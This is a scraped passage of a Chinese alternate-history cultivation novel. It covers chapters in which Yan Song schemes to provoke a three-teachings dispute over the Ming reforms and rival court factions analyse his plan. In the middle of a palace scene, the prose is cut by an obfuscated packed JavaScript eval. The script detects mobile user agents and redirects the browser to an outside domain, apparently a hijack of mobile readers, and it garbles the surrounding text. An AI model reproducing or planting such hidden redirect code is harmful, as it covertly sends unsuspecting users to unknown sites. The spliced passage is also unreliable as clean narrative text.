可这些人终究是太过薄弱了,根本斗不过这满朝的官员。 这次的反扑,他想过会很大,但没想到会如此之剧烈,那些满朝禽兽,竟然死都不怕也要攀咬严家一口,孔家有什么好,竟然命都不要了? “呵,”看着儿子的样子,严嵩哼笑一声,笑的颇为慈祥宠溺,道:“放心,爹帮你。这场变法,仙朝史书上,定有你一笔!” “嗯!” 严世蕃重重点头,一切尽在不言中。 “对了,爹,您具体打算怎么做?”严世蕃收敛情绪后,问道: “儿子有什么能帮得上忙的?” 闻言,严嵩略一沉吟,抬眼看向严世蕃,道:“此前,我严家坐镇台州,是误以为裕王一脉,要从福建入湖广之事,你可还记得?” 闻言,严世蕃略一思索,点了点头,道: “记得,在整顿吏治之前,湖广地区原本是我们严家一系的官员控制,整顿吏治后背裕王提拔的官员掌控,所以我们当初才会误判。” (注:见第133章。) “以至于我们最后果断扎根台州……爹,这湖广地区,可是有什么特殊之处?” “就在两年前,浙江送上来一批,当初因为‘庚戌大狱’而连坐的最后一批官员名单,其中一个 人的过往,引起了我的注意。” 当年为了整顿吏治,朝廷掀起‘庚戌大狱’,浙直很多官员被连瓜带根的一刀切了,其中自然也有不少冤枉,两年前是最后一批需要审批的官员,该杀还是该放,都是要上报的。 时值嘉靖闭关,内阁疯狂的揽政绩,梳理内政,严嵩身为内阁首辅,为了避免很多冤假错案自然要审批很多公文。 “什么人?”听到老爹严嵩这么说,严世蕃也来了兴趣,按理说当初整顿吏治,浙直和两广的所有要员都被处理了。 剩下都是一些可有可无的小官,处理起来也就是看心情的事了。 没想到竟然还有人能引起老爹的注意。 “到不是什么大才……”严嵩微微摇头,说着似是在找什么,然后起身来到一旁的书架处,探了探头,然后拿下一沓泛黄的厚厚本子,笑了笑,吹了吹灰,道:“找到了。” “看看。”说着,严嵩将黄纸本子递给严世蕃。 接过黄纸本子的封面,眉头一挑,念道:“西游释厄传?”念完,抬头惊讶的看着老爹,道:“话本故事?” “继续往下看……”严嵩笑着抬了抬手,示意严世蕃稍安勿躁。 见此,严世蕃只好继续阅读下去。 “混沌未分天地乱,茫茫渺渺无人见。自从盘古破鸿蒙,开辟从兹清浊辨。覆载群生仰至仁,发明万物皆成善。欲知造化会元功,须看《西游释厄传》……” 念完定场诗,严世蕃摇摇头。 身为一个修仙者,他对这种神怪异志话本,可没什么兴趣。 要是知道修仙,没有踏上修仙之路前,他还会对这些仙神、志怪传说话本感兴趣,以满足他对仙神的想象与向往。 至于现在,再看那些三流文人撰写的神话,志怪话本,只觉得无趣。 严世蕃看的很快,不一会便把这一沓本子看完了,轻呼出一口气,皱眉道:“乱七八糟,爹,这话本有些粗糙了吧?莫非是初稿?” “是初稿,”严嵩微微颔首,道:“此人名叫吴承恩,这‘西游释厄传’初稿完成于嘉靖二十一年,嘉靖二十八年此人入南京国子监。” “一直到嘉靖二十九年才考上贡生,却没有选上官,最后回乡隐居直到嘉靖三十七年,可惜好景不长,后来朝廷掀起‘庚戌大狱’此人再次入狱,一直到两年前,名单才送上。” “你知道,我一直在关注佛经故事,道门经典,翻看卷宗时,无意中看到此人所撰写的故事,再想到你此前提的启思革新,我便有意要利用儒释道三家……便差人送来全文。” “两年前,也就是嘉靖四十七年,此人已经赴湖北,任荆王朱翊钜府纪善一职。” 简单介绍了一番吴承恩的过往后,严嵩点了点故事,道:“这书虽然是初稿,可其中很多故事情节,都含蓄的隐喻了佛道之间的一些竞争,当然,或许是初稿的缘故……” “里面还有一些对朝廷的映射,最后还有一些不怎么明显的三教合一的想法。” “若是,将此书作为推手,无限放大,挑起佛道之争,至于写这书的吴承恩,自然是就是儒家代表了,呵呵……”说着,严嵩慈祥的笑着,道:“我们可以定制好一些框架,再由此人撰写,以此挑起三教大争……” “南朝,关于儒释道,曾有“沙门不敬王者之争”、“因果报应之争”、“夷夏之争”、“神不灭之争”,四次大争。” “这些,都是可以加以借鉴的嘛……” “等大乱之后,东南宁波府,不是还有一把剑吗?” “一刀切了,大乱之后便是大兴。” “如此,乘机引入百家学说,完成你的变法……” “……” 注①:大约16世纪,欧洲人已经对自己所居住的大陆,有了相对明确的地理认知,并将其称为“欧洲”,考虑这种地理认知的形成和命名并非一蹴而就,而是经历了长期的历史过程。服务于剧情,本书采用‘那片大陆’称呼,后续随着时间推移,大明这边了解到欧洲后换名。 注②:据历史记载,1550年,意大利艺术家和艺术史家瓦萨里在其著作《艺苑名人传》中首次正式使用“文艺复兴”一词,来描述那一时期的艺术和文化成就。 服务于剧情,本书不会提到‘文艺复兴’这一概念,以‘那场变法’来称呼。 第一百六十一章 严嵩再荐佛门法师,海瑞大明律对轰儒释道三教? “哈哈哈,”徐阶府上,后堂,高拱发出一声畅快的大笑,“这回热闹了!” 徐阶坐在上首位置,两侧坐着张居正、高拱和赵贞吉,而徐璠则伺候在徐阶一侧。 高拱手里拿着抄本,在厅间踱步,一边走一边笑着念道:“左都御史张慎行,厉害,佩服!老夫若是没记错的话,他是站队严党吧?” “啧啧,”高拱手背掸了掸抄本,道:“瞧瞧,脏,骂的太脏了!” 说完,他还觉得不够,微吸了一口气,照着手上的抄本开口念道: “臣左都御史,张慎行,职司纠察百官,维护纲纪,今有要事,亟须陈奏。闻朝中有奸佞之人,名为严世蕃……哈哈哈!” 念到这里,高拱又不自觉的笑出了声,张居正等人听到这里也是不由的莞尔摇头。 “哎呀,这个张慎行,以前怎么没有发现此人竟是如此的风趣,咳!”轻咳一声,高拱继续开口,念道:“其人行事乖张,居心叵测,其欲行变法之名,而实则暗藏祸心!” “嗯,确实包藏祸心!”高拱微微点头,“这些严党,我还真是有些小瞧了他们,关键时候竟然是如此的有种说反水就反水。” “其图谋铲除孔氏家族,进而欲取缔天下儒宗,以绝圣学之传承,断华夏之根脉。” 听到这里,赵贞吉也不由得开口:“这大帽子扣的,以往这种颠倒黑白是非的言行可都是严党用来,攻讦同僚,铲除异己的。” “这回,刀子捅到自己了,嗯?”说着,左右看了看。 高拱微微点头,然后又继续开口念了起来。 “此举若成,必将动摇国本,危害社稷。严世蕃身为朝臣,不思报效国家,反欲私利,其言行已严重违背朝廷法纪,且其行为有悖于忠君爱国之大义,实为国家之蛀虫,朝堂之败类!” “臣以为,此人若不及时惩治,恐将祸及朝廷,危及国家安定。为此,臣谨代表督察院,特此上奏,请求陛下彻查此事,严明法纪,以正视听。望陛下明察秋毫,断以公正,对严世蕃依法严惩,以儆效尤,以安民心。” “臣深知此言或有忤逆之处,但出于职责所在,不得不言。恳请陛下圣裁!” 念完这份抄本后,高拱深吸了一口气后,点了点头道:“这个张慎行,算是彻底和严党撕破了脸了,或许此人可以拉拢过来。” “毕竟此人也是在吏治整顿之后刚刚站队严党不久,与我等也并没有什么恩怨,”说着高拱扭头看向张居正,赵贞吉以及默不作声的徐阶三人,道:“诸位以为如何?” 刚才念抄本,嬉笑严世蕃,也不过是为了活跃一下气氛,当做是个乐子。 此时高拱也认真了起来,接下来他们也是时候该谈正事了,张慎行不过是个话头。 “我觉得还是慎重吧,”这时,张居正开口了,在众人将目光都投到他身上的时候,这才缓缓开口,“诸位不觉得,孔家势力太大了吗?” 听到张居正这么说,高拱和赵贞吉二人,都是一怔,而后看向张居正,不知道他要说什么。 反倒是上首位置的徐阶,抬了抬眼皮,看向张居正,眼神当中有赞许之色浮现。 此时高拱和赵贞吉都意识到张居正应该是想要说些什么,也不急着回话,而是等待着张居正的下文。 “首先,”张居正开口,“严世蕃要针对孔家进行复仇这一点,是毋庸置疑的。而皇上会同意严世蕃提出的‘启思革新’的变法,这一点我们就不得不深思这背后的意图了。” “很显然,皇上也想让大明进行一场变法,而变法的目的就是破除自古,历朝历代都存在的的陈旧体制,让大明变得更新!” “但是现在,孔家和整个儒宗,显然成了拦路的石头……”说到这里,张居正不再言语,但意思却是不言而喻的。 听到这里高拱和赵贞吉二人也都明白张居正的意思,这件事表面上看确实是严世蕃在报复孔家,从而想要用百家学说取缔儒宗。 但这件事背后却是暗合了皇上的圣意。 如此一来,再结合刚才高拱提问的,可不可以将张慎行拉拢过来的这个问题,答案也就明了了。 他们肯定不可能跟皇上站在对立面。 “太岳的意思是说,我们也要和整个儒宗,站在对立面吗?”高拱挑了挑眉问道。 “督察院包括左都御史张慎行在内,近乎半数的官员,现如今都在西苑外跪着,此外还有六部的不少人,两京一十三省大大小小的官员,也都纷纷上奏,弹劾严世蕃。” 这时,赵贞吉也跟着开口,道:“这些官员当中不乏有聪明人。” “他们自然能看得出来,背后真正这想要动整个儒宗的人,是皇上。” “但是他们又不能直接跟皇上明着做对,如此一来,严世蕃就是一个最好的借口。” “那我们该如何?”高拱问道。 “静观其变,”这时,徐阶开口,“必要时,还要配合严世蕃变法。” 听到徐阁老竟然说必要时要配合严世蕃,高拱有些不爽,不过他也不笨,如今利弊关系都已经明了,任何内斗底线就是大明获利。 如果这个时 候给严世蕃使绊子,那么损失的就是大明的利益,皇上不会允许的。 “且看那严世蕃会如何变法。”这时,张居正开口,“儒宗地位会被削减,但并不意味着就此罢黜,只是孔家不愿意罢了。” “若非到了必要的时候,我们也没必要彻底将天下儒宗给得罪死。” “儒宗的地位,确实该动一动了,”张居正说着,语气带了几分淡漠,“未来仙朝之下,应当是修仙家族的,各派学说都应该是工具。” 听到他这么说,几人眼底都不由的闪过一抹精光。 张居正所言不错! 虽然严格来说他们也儒宗门生,可他们现在的身份,先是仙朝的仙官,其次是家族之主。 未来仙朝发展之后,大明的格局,将会如汉末到唐末之前一般,世家门阀与王朝共存。 不同的是,他们未来的家族是仙族,仙朝的利益与他们的利益,密不可分! 为大明好,就是为他们自己好。 所以天然的,他们是王朝的一部分,密不可分的那种。如今大明要变法,以孔家为代表的儒宗是绊脚石,那就必须要一脚踢开。 …… 翌日,风雪愈发的大了。 玉熙宫内,嘉靖站在灵田小院里,俯身亲自摘菜,身旁的吕芳则挎着竹篮等着。 “这个‘血红果’长的不错,”嘉靖摘下一颗长的像‘番茄’的蔬果,递给吕芳,“几个了?” “回主子,三个了。”吕芳笑着将竹篮递来,嘉靖把‘血红果’放入篮子里。 只见篮子里此时放着几根青辣椒、两颗‘血红果’,还有一把嫩绿的小青菜。 “不错,”嘉靖拍了拍手,“一会再拿三个灵鸡蛋,做个青椒血红果炒鸡蛋!”说着,嘉靖舔了舔嘴唇,道:“这大冬天,配上一大碗热腾腾香白可口的灵米饭,当是人间珍馐矣!” “主子就请好吧,奴婢等会就去做。”看着嘉靖的模样,吕芳笑呵呵的说着。 虽然主子已经修仙,并且修为达到了筑基级别,早已经可以辟谷了,但依旧保持着凡人的口腹之欲,对此吕芳并不奇怪。 在他看来,以仙人之资,保持凡俗**,才能真正体会到修仙长生的乐趣。 若是活的像是个没有感情,不吃酒,不食肉,那这长生,还有什么意义? 长生如果不是为了享受,那等于瞎搞! “严嵩想必快到了,”嘉靖拍了拍手,看了眼满天大雪,还有铺上一层银装的灵田小院,道:“孔家这次把事情闹得挺大,单靠严世蕃一个人,怕是处理不了,还是要看严嵩的。” “这孔家,确实胆大妄为了些。”伺候嘉靖多年的吕芳,自然能听得出来,主子这是对孔家这次的反应有些不满了。 当然不光主子不满,他也非常的不满。 普天之下莫非王土,率土之滨莫非王臣,在吕芳看来,这大明的一切,万事万物,都应该臣服在主子的意志之下。 孔家不可能体会不到主子此举的用意,竟然选择了装聋作哑,看似是在弹劾严世蕃针对严家,但这其实就是在向主子变相的逼宫。 小小凡人家族也敢欺天?当真是有些不知死活了。 “严嵩最近有什么动向吗?”嘉靖开口问道。 “有的,”吕芳像是想到了什么,笑着道:“严阁老近日来,与佛门走的比较近。” 佛门?听到吕芳的汇报,嘉靖眼底浮现出一抹思索之色,而后笑着轻甩袖袍,荡开落在身上的大雪,反身朝玉熙宫而去。 吕芳见此,也运转功法,周身灵气荡开,弹开身上的积雪,快步跟了上去。 主仆二人平日里都是不运转功法,始终保持着凡人的姿态,嘉靖是喜欢这种平淡的感觉,吕芳则是效仿自家主子。 “这个严嵩是要借助佛道两家的手,来帮严世蕃完成变法了。”嘉靖笑着说道。 听到这话,吕芳一愣,“道门?” “你这老东西,装蠢过头了,”看到吕芳的反应后,嘉靖不由得笑骂道:“忘了那丫头当初可是严嵩送进宫的了?” 见自己装蠢被主子识破后,吕芳只能憨憨一笑。 “父母之爱子则为之计深远,”嘉靖说着,“严嵩为了他这个儿子,也算是费心了。” “呵呵,”吕芳笑着道:“毕竟,要来试探圣意,若是让严世蕃来,倒显得严阁老不懂事了,再说了,要是严世蕃来,主子还不见呢。” 闻言,嘉靖笑了笑不置可否。 此时,西苑外,陈洪冷眼看着跪着的这群文官,眼底冷笑连连。 “噗通。”终于又有人支撑不住倒了下去,见此陈洪则是淡定的摆了摆手,“拖下去,喂点姜汤,醒来后他若是想接着跪那便送回来。” “是。”两个西厂辑事说着,面无表情的把一名中年御史给抬了下去。 “踏踏踏。”不一会,远处传来积雪被踩压的声音,陈洪抬眼隔着风雪看去。 只见严嵩父子的轿子渐行渐近。 “哼!”看着严嵩的轿子,陈洪冷哼一声,也没有迎上去的意思,就这么倨傲的抬起下巴,睥睨的看着被严世蕃扶着的严嵩。 陈洪 知道这些内阁诸老,都不将自己放在眼里,那他自然也没有必要热脸去贴冷屁股。 “严贼!”跪在雪地里的群臣,看到严嵩父子后,顿时激动了起来。 不过面对群臣的激愤和怒骂,严世蕃和严嵩二人都是看都没有看一眼,默默地从众人身边走过。 这些人都不过是孔家的刀而已,以严家的权势来说,不过是秋后算账而已。 虽然现在的严家一系,经过大面积的人倒戈,已经有分崩离析的架势,但瘦死的骆驼比马大,严家的靠山和权势从来都不是自己派系有多少人,真正的靠山永远都是玉熙宫里的皇上。 只要皇上还要用严家,严家对皇上来说也还有用,那么严家的权势就永远不会倒。 你底下有人倒戈一批,立马就会有新的一批人围上来,成为严家新的拥趸。 儒宗确实是很多官员的底线,而且还是那些心中有气节,有能力之人的底线,可利益动人心,活在现实里,还有能力的人更多。 总之就一句话,你不干有的是人干。 现如今的大明国力上涨,兵强马壮,财力雄厚,人口暴涨,人才济济,多的是那些怀才不遇,就差一个机会之人。 所以即便自己这一系倒戈的,都是一些有能力之辈,也只有这些人倒戈,才可以看做是严党分崩离析,但严嵩也从来不担心。 也并未将这些人放在眼里! “陈公公,劳烦禀报一声,就说严嵩求见。”严嵩微微拱手说道。 看着面前装垂垂老矣的内阁首辅,陈洪上下打量一眼,冷淡的点了点头,然后转身朝着西苑内走去。 “狂悖小人!”看着陈洪的背影,严世蕃冷着脸低声喝骂。 “呵,”相比于严世蕃的愤怒,严嵩倒是要表现得淡定得多,轻笑一声,“不过是皇上手里的一把随时可弃的刀而已,何必在意?” “司礼监众人也被赐下了仙法,皇上也会舍弃吗?”听到老爹这么说,严世蕃有些诧异。 “赐下仙法又如何?”严嵩微微回头,撇了眼儿子严世蕃,“对于皇上来说,从来只有两种人可用与不可用……” 听到老爹这么说,严世蕃点了点头。 很快陈洪就折返而来,淡淡道:“主子让严阁老进去。”说着,又看向准备扶着严嵩一起进入西苑的严世蕃,“小阁老就在此等候吧。” “……你!”眼看陈洪这狂悖小人越发的无理,严世蕃忍不住就要开口训斥,却被严嵩抬手打断,语气温吞道:“世蕃,既然皇上没有召见你,你便不得入内,就在此我吧。” “是,爹。”狠狠瞪了一眼陈红,严世蕃终究还是退到了一边,不过却是把陈洪给恨上了。 想他堂堂小阁老,何曾受过这等窝囊气?这大明朝能给他窝囊气的,也就清流那帮人,什么时候陈洪这狗东西也能算一号了? 心中已是暗暗决定,等到哪一天这狂悖小人失势了之后,到时候再好好炮制! 玉熙宫内。 “老臣,叩见皇上。”严嵩语气温吞的说着,慢慢悠悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669378|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的在大殿之上跪下。 看着他这一副模样,嘉靖眼中不由的浮现出一抹笑意来,严嵩这老狐狸,明明已经拥有了练气一层的修为境界,却始终装的老朽模样。 嗯,这种想法,倒是可以理解,这跟所处时代有关。 就好比在后世,成年男子并不喜欢留胡须,甚至一些上了年纪的也都不愿意再蓄,但是在这个时代男子若是无须,那是不合适的。 严嵩这群人想法也与之算是异曲同工。 装的一副垂垂老矣的模样,算是一种伪装?又或者是一种独有的个性?或是习惯? 嘉靖自然也不会去干预臣子的形态变化,他还没有这么无聊和独裁。 “严阁老突然求见朕,不知有何事?”嘉靖说着,抬了抬手示意吕方给严嵩搬座。 “回皇上,老臣近日酷爱钻研佛道典籍,发现其中很多道理,在修行一途,治国,治民上,都有很多可取之处,”严嵩说着,语气微微一顿,而后慢慢悠悠的从怀里掏出一册书,道: “两年前,浙江呈上来一批‘庚戌大狱’,有所冤枉的官员名单,其中一人名为吴承恩,此人所著一神话志怪之书,名为‘西游释厄录’,其中关于儒、释、道三家颇有见解……” 吕方见此上前接过,呈交给嘉靖。 吴承恩?西游释厄录?听到严嵩如此说,嘉靖脑海中,后世的一些记忆闪现,心中恍然。 这‘西游释厄录’在后世那可是大名鼎鼎,算是很多话本故事的见解之作。 嘉靖接过那厚厚的一册初稿,神识扫动间,瞬间便了熟于心,而后看向严嵩。 “严阁老想说什么?”嘉靖面容微宽,将手中的书册递给吕芳,示意他也看看。 “臣以为,书中关于三教思想,以寓教于乐的方式展开,若是可以用于‘启思革新’的国策,或许会有不同的收获。” “皇上想要打破陈旧的王朝体制,就需要一场思想上的变法,这儒释道三家,又自古传承而下,在民间更是影响深远。” “或许是个不错的切口……”说着,严嵩语气微微一顿, “老臣对儒家,道家颇为了解,对佛家倒是知晓不多,为此也遍访禅师名家……” 听到这里,嘉靖已经猜到严嵩接下来会说什么了,不过却是没开口,而是继续听他后文。 “皇上有所不知,在京城郊外,有一尼姑庵,名为‘般若林’,住持慧仪法师的关门弟子,乃是一年芳二八的少女,”说着,严嵩依旧面不改色,道:“此女法号为‘禅霜’,俗家姓李,名茱萸,佛性颇高。” “嗯,依老臣所见,其悟性或许不在国师之下。” “仅是与其谈禅三日,便让老臣受益匪浅,结合吴承恩这书,臣以为佛家或许亦有其可取之处,所以想引荐于皇上……” “吾皇乃是人间仙人,对天道自然感悟,自是旁人所不能及,臣就想着,待吾皇亲验之后若是可以,或许可以儒、释、道三家为引,开启我大明朝的‘启思革新’的新篇章。” 说完,严嵩抬了抬双臂,低垂下了脑袋。 严嵩说完,玉熙宫的大殿之上,陷入了短暂的安静中。 嘉靖高坐在道台之上,不言不语,似在思考什么,一旁的吕芳翻看着吴承恩的‘西游释厄传’的同时,有些无语的瞟了眼严嵩。 这个严阁老,此前给皇上推荐了一个正一道的女道士清风,深得主子恩宠,国师也被打上了他严党一系的标签。 无形之中为严党,增了不少的势。 合着他这是吃到点儿甜头了,又开始玩之前的把戏了? 不过想归想,但吕芳对严嵩此举,却是并不意外。 利用佛道对抗这次的儒宗,如今道门有国师,就差佛门了,可不是要再添一个佛门之人? “既然是严阁老推荐,那便让这位‘禅霜’法师入宫,朕也看看。”嘉靖说着,微微颔首,算是同意了下来。 “老臣,谢皇上。”听到皇上同意让‘禅霜’入宫,严嵩心里松了一口气,多年的君臣默契,皇上终究是还是体恤他这个老臣的。 “如此,老臣今日便去安排……”严嵩说着,站起身。 “嗯,去吧。”嘉靖点了点头。 心中目的达成,严嵩恭敬一礼后,迈着轻松的步子,出了玉熙宫。 “都让主子料到了,严家果然是要利用三教掀起变法了。”目送严嵩离开后,吕芳立刻说道。 “你似乎有话说?”嘉靖抬眼看向吕芳。 “什么都瞒不过主子,”吕芳闻言赶紧躬身,道:“奴婢是担心,三教在民间都有着不俗的影响力,担心严家收不了场。” “这你就想错了,”嘉靖抬了抬袖子,淡淡道:“他根本就没打算收场。” 听到这话,吕芳一愣,刚要开口说话,就听嘉靖的声音再次响起。 “这场变法不会短,儒释道三教只是个引子而已,严嵩此举是要借着儒释道三教之争掀起的大乱,趁机引入百家学说。” “儒释道三教,会成为这场变法的祭品。”说着,嘉靖语气微微顿了顿,又跟着道:“至于大乱如何止戈?你忘了宁波府的海瑞了?” “波及整个大明的变法,届时随便在宁波府,海瑞的地盘上弄出点动静来,以海瑞的性子,你觉得面对三教之祸,他会怎么做?” 听到嘉靖这么说,吕芳先是一怔,而后不禁摇头失笑,道:“这位‘海笔架’定会以大明律镇压,在他眼里,什么三教,什么百家……” “统统的一切,都要臣服于大明律之下,他会把所有的一切,记录在案,写成卷宗罪状,从东南,一路砍到京城,呵呵……” 提起海瑞,吕芳也不由头疼。 “争斗好啊,”嘉靖笑着抚掌,念道:“三教之争掀大乱,百家学说乘风起,最终获益,都是大明,妙哉,妙哉!” “嗯,”吕芳笑着点头,道:“主子,说实话,奴婢倒是有些期待我大明律对轰儒释道,镇压诸子百家的那一天了。” “这个不急,海瑞是大轴戏,儒释道之争是压轴戏,不过在此之前,朕倒是想看一个开场戏,告诉朕的小国师,明日会有佛门天才来挑战与她论道,再去宫门外挑个儒家代表来。” “他们不是要说话吗,朕让他们说!” “没想到,自南朝之后近千年时间,三教四大争后,要在我大明,掀起第五争了!” “有趣!” “……” 下一章大章,儒释道三教对轰,还有接下来的变法,我今晚需要好好准备一下,这6K+先看着,明天更精彩。 嗯,大大们,这个月最后一天了,求求了,在助力我冲一波月票吧,拜托了,拜托了,拜托了!!! 第一百六十二章 儒以文乱法、道以修仙扰政、佛以慈悲碍刑 西苑外。 “爹!”看到老爹严嵩从宫里出来,严世蕃赶紧迎了上来,关切而期盼道:“如何?” 闻言,佝偻着身体的严嵩微微撇头,斜睨了眼神情之间,紧张和期待之色都有的儿子严世蕃,哼笑一声,道:“皇上答应了。” 答应了!听到老爹严嵩的话,严世蕃先是微微一怔,似是没有想到如此荒唐,粗糙的送女行为,皇上竟然答应了! 不过很快,严世蕃面上又露出狂喜的神色,深吸了一口冰凉的空气,道:“爹,皇上终究还是向着咱们严家的!” “是啊,”严嵩抬了抬头望着头顶怒云翻滚的满天大雪,道:“那是因为皇上识破了我们接下来的意图,所以同意了。” “这也变相的说明,皇上对严家的信任!” 听到老爹这么说,严世蕃重重点头,他知道,他们严家想利用三教之争把事情闹大的想法,根本不可能瞒得过皇上。 但有些话却又不能明着说出口,因此看的就是皇上和老爹严嵩之间的君臣默契,以及皇上是否愿意施恩于严家了。 万幸,皇上终究还是偏向严家一些的。 “爹,接下来就看那个禅师了,”严世蕃说着神情当中有一丝的迟疑,道:“您说,她能比得过清风丫头吗?” “我们要的是势均力敌,如此才能在上层掀起波澜,从而波及到整个大明,若是一开始三教之争,佛门就败下阵来看,那……” “放心吧,”严嵩语气温吞,道:“这般若林,本就是为父计划的一部分。此前皇上敕封清风丫头为国师,为其造势……” “佛门早就已经坐不住了,三年前我就已经让人暗中联系了佛门,般若林那位‘禅霜’法师,自幼便被收养,研习佛法……” “虽不敢确定其在佛法上的造诣,等同于清风在道法上那般有天赋,但也不是什么庸才。” “但这些都不重要,重要的是她能否得皇上青睐,皇上是否愿意扶持于她。至于这场三教之争成败并不重要,重要的是造势。” “道门败了,佛门自然会大肆宣扬,嗯,他们不宣扬,我们就帮他宣扬,如此一来道门必然不会甘心,这矛盾不就挑起来了吗?” “反之若是佛门败了,也是同样的道理。” “至于儒家,只有一个结局,成败都不重要了,只要这件事的结果是三教之争就好。” 听到这话,严世蕃点了点头,表示明白。 …… 晚些时候,玄圃宫大殿。 “佛门,论道?”清风微张了张小口,略显婴儿肥的一侧小脸皱起一个好看的小小梨涡,一副有些摸不着头脑的样子看向黄锦,“为什么?” 看着面前眨着无辜而明亮纯洁,不染分毫杂质的少女国师,黄锦顿时一噎。 论道就论道啊,这有为什么吗? 不过想是这么想,黄锦还是开口将近日朝中发生的一些事情给简要的解释了一遍。 听完黄锦的解释后,清风恍然点头。 “好吧,”清风点了点头,然后便不再放心上,默默闭上了双眼,就要运转体内的‘引气诀’开始继续修炼,突然又像是想到了什么,睁开双眼,看向准备离开的黄锦,道: “要与我论道的佛门之人是谁?” “没听说过,”黄锦回想着干爹吕芳跟他说的佛门天才,摇了摇头道:“只知道法号似乎是叫做‘禅霜’,来自京城郊外的般若林。” “呵呵,”说完,黄锦笑了笑宽慰道:“国师不必担心,虽说这位禅霜法师也号称是天才,不过与国师的地位可没法比。” “而且,她明显就是一个工具而已……” “不是的,”清风微微摇头,清澈纯净的眸子看向黄锦,脆声开口,道:“黄公公可曾听闻,道家言:天下皆知美之为美,斯恶已。皆知善之为善,斯不善已。” “故,有无相生,难易相成,长短相形,高下相倾,音声相和,前后相随?” 听完清风的这一番话后,黄锦微微一怔,眉宇间,若有所思之色浮现。 跟在清风身边伺候了多时黄锦,对道家的一些学说,也是有了一定的了解。 此时听到清风如此一说,黄锦有些后知后觉,道:“国师的意思是,皇上也有可能将那禅霜法师的地位,提高到与国师同等地步?” “只有相等,才能形成对立,才能影响到整个大明。”清风不懂朝廷争斗,但是她对道法领悟够深,听到黄锦提到三教之争就都明白了。 “禅霜……”清风若有所思,然后便不再言语,开始闭上双眼,静静的修炼了起来。 见此,黄锦也不再多言,转身默默离去。 …… 裕王府,大殿之中。 徐阶、高拱、张居正、赵贞吉、王崇古等一众裕王府核心圈层齐聚一堂。 虽然如今裕王有了新党成员王崇古,但跟徐阶等人依旧是一个阵营的。 毕竟,在新的皇子诞生之前,储君之位始终都是裕王跟景王二人在争。因此,遇到大事上,彼此还是汇聚一堂讨论的。 “宫里传出消息了,”坐在上首位置的裕王,放下手里的灵茶,环视众人 一眼后,缓缓开口,道:“严阁老向父皇推举了佛门的一名天才少女,法号名曰:禅霜……呵!”说着,裕王似乎是想到了什么,发出一声颇为不屑的轻笑。 “又是给宫里送女人!”裕王话音刚落,脾气火爆的高拱就跟着开口冷哼道:“严嵩老贼,就会这种上不得台面的伎俩了!” “上次给宫里送了道门的少女。” “这次,又给给宫里送一个佛门的少女。” “佛道两家,他这是都要打上他严党一系的烙印啊!” “通过上次国师入玉熙宫一事,我们已经不难看出,严嵩往宫里别送佛门之人,显然是为了应对这次孔家,或者说是儒宗的发难。” 张居正轻抚胡须,道:“而严阁老此举,显然是已经有了应对之策……” “三教之争……”就在张居正话音刚落的第一时间,徐阶的声音缓缓响起。 三教之争?听到徐阶的话,众人朝其投去好奇眼神的同时,心中也若有所思了起来。 “通过儒释道三教之争,将事情闹大,从而掩盖儒家这次反扑,对严家带来的影响,”徐阶说着,放下手里的茶盏,看向裕王,道: “敢问殿下,宫里可还传出了其他消息?” “不错,”在众人的注视下裕王点了点头,道:“宫里传出消息,明日儒释道三家论道,佛道两家出场之人,自然是国师与那佛门少女禅师。而儒家的代表,则是左都御史,张慎行。” 三家论道! “这就是了,”徐阶缓缓点头,看向窗外大雪,道:“严嵩的真正目的所在。” “通过儒释道三家之争,从而将这件事情无限放大,扩展到整个大明层面。” “如此一来,他只需要从中进行一些安排,达到推波助澜的效果,便可让这件事情无限放大,从而让整个大明在某种程度上乱起来。” 说着徐阶的语气微微一顿,而后又跟着补充,“当然我说的这种乱,是指儒释道三家在各自学说,教义之争的乱,与大明百姓无关。” “对于底层百姓来说,这所谓的如释道之争跟大部分人都没有什么关系,对他们来说最多不过是茶余饭后的谈资而已。” “更不会有人意识到,三教之争会不会影响到他们……”说着徐阶微微摇头,语气有些唏嘘,对于底层百姓来说,这何尝不是一种幸福? 其他人听到这话也都是微微点头。 这是一种思想层面的乱,也是一种变法。 对底层百姓的影响是潜移默化,润物细无声的,是一种思想上的影响,不会切身感受的。 “等到大明彻底乱了以后,那便是一次清算的之时,”说着,徐阶看向众人,“至于何人来清算?大明朝还有比那海瑞更适合的人吗?” 听到海瑞,众人神色都是一僵。 对于海瑞,他们可以说是复杂无比,此人就是一把剑,下砍臣民,上砍内阁的剑,专门用来平乱的,一刀切的时候,可不管你是谁。 他们可不会天真的以为,海瑞被皇上打发去了宁波府坐镇,就真的退了。 从宁波府打探到的消息,他们有的海瑞也一样有,这说明什么?说明皇上对海瑞是极为关照的,海瑞就是一把悬在众人头上的剑。 不管是清流,还是严党,又或者是裕王跟景王,他只要动了,就会砍下来。 “等到这场大乱被平息之后,那么朝廷也就有了借题发挥的理由,以三教乱世为由,进行一场打压,而后趁机引入百家学说。” “如此一来,挡在严世蕃变法之前,最大的绊脚石也就是儒宗,被踢开了。” 徐阶不愧是徐阶,严嵩那边仅仅只是有了一个动作,释放了某个信号,他便从中了解到了严嵩的目的,和接下来的全部打算。 果然是应了那句“最了解你的人,永远都是你的敌人”的话,徐阶算是把严嵩给摸透了。 而听完徐阶这一番分析之后,在场众人顿时恍然。 “严嵩果然厉害!” 发出这一声感慨的人是张居正。 其他人此刻也都是一脸敬佩之色。 别看他们一个个的嘴上说着严党、严贼,如何如何,但在场之人没有一个是蠢货庸才。 他们在心里,从来都没有轻视过严嵩,甚至即便嘴上不承认,但心里也明白,他们当中如果有人能跟严嵩掰手腕的话只有徐阁老一人。 旁的不说,单说这一份对对手的了解,和洞察力,他们就不如徐阶。 “那接下来我们怎么做?”高拱瞥了一眼上首位置,不发一言的裕王后看向徐阶。 在众人的注视下,徐阶缓缓开口道: “这是皇上的意志,没有人可以捣乱、搅局,否则迎来的必然是雷霆之怒,我们没有人可以承担皇上的怒火!” “变法之路不允许有任何人阻拦。” “所以,若是我们不想帮严世蕃的话,那便默不作声,作壁上观即可。” 